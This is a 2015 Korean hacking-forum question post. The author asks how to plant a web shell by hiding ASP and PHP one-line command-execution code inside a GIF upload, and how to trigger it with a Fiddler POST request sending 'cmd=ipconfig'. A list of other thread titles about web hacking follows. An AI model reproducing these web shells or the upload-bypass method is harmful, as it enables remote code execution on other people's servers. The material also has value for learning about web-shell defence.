214, 8/11 회원가입  로그인  
   stoopynice
   웹쉘 관련 질문있습니다.

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_Web&no=209 [복사]


그 파일 업로드 우회해서 (gif 파일에 아래 코드를 넣어서)
<%execute(request("cmd"))%>
<?php eval($_POST[cmd]);?>
페이지에 삽입한다음에 ipconfig같은 명령을 실험해보고 싶은데
(위에 코드가 cmd 불러와서 cmd 명령하는거죠?)
피들러에 composer 탭에 아래 내용 보내면 되나요??
POST http://\\\\/index.php?***.gif
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: ***/index.php
WS=110&CCODE=000101
Accept-Language: ko-KR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
DNT: 1
Host: ***
Cookie: PHPSESSID=h6ddjfsn45r1sqc9tvg2p6pje0
Content-Length: 9
cmd=ipconfig;

요런식으로 execute해서 테스트하면되나요?
  Hit : 4708     Date : 2015/07/26 12:22


    
74   피시방 Green guard 프로그램 뜷는 방법좀 알려 주세요[1]     wqw3
 04/19 6094
73   프록시 프로그램이 안됩니다[1]     yayaja11
 03/05 2872
72   제리코 파서가 무엇인가요?[21]     poer249
 10/29 3957
71   제가 웹해킹을 배우려하는데요.     cjy559510
 12/02 4581
70   웹에서 쓰이는 악성 쉘코드에 대해..     likemuz2
 04/08 3285
69   웹쉘 사용법좀[3]     웹해킹
 12/30 15086
68   웹쉘 본질적으로 방어할수 있는 방법?[1]     idbali
 07/24 3315
  웹쉘 관련 질문있습니다.     stoopynice
 07/26 4707
66   웹서버 연결방법[1]     가면속의미소
 08/15 4130
65   웹서버 해킹및 보안에 관한 질문입니다.[2]     laysiankim
 07/15 3302
64   웹사이트 DB정보를 알려면 어떻게 하면 될까요?[3]     gumi3359
 06/06 3456
63   웹사이트 해킹관련 문의드립니다.[1]     chniow
 02/27 3250
62   웹공격 Top3[3]     Pang
 02/07 5095
61   웹툰보다가 스택오버플로우됬는데     kimthon
 01/19 3641
60   웹해킹에대하여[1]     가면속의미소
 04/20 3296
59   웹해킹에 필요한 언어[3]     yunpung1234
 08/17 3713
58   웹해킹시[1]     AutoFlow
 10/24 3689
57   웹해킹하고싶어서 배우고있는데 html하고 css 태그나색상등등..이런거까지 배울필요가있나요?;;[8]     ykk98433
 06/29 4085
56   웹해킹을 어떻게 하는지 모르겠습니다[4]     rappit
 02/14 4524
55   웹해킹을 배우고싶습니다..[2]     edustars
 05/24 3592
[1][2][3][4][5][6][7] 8 [9][10]..[11]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org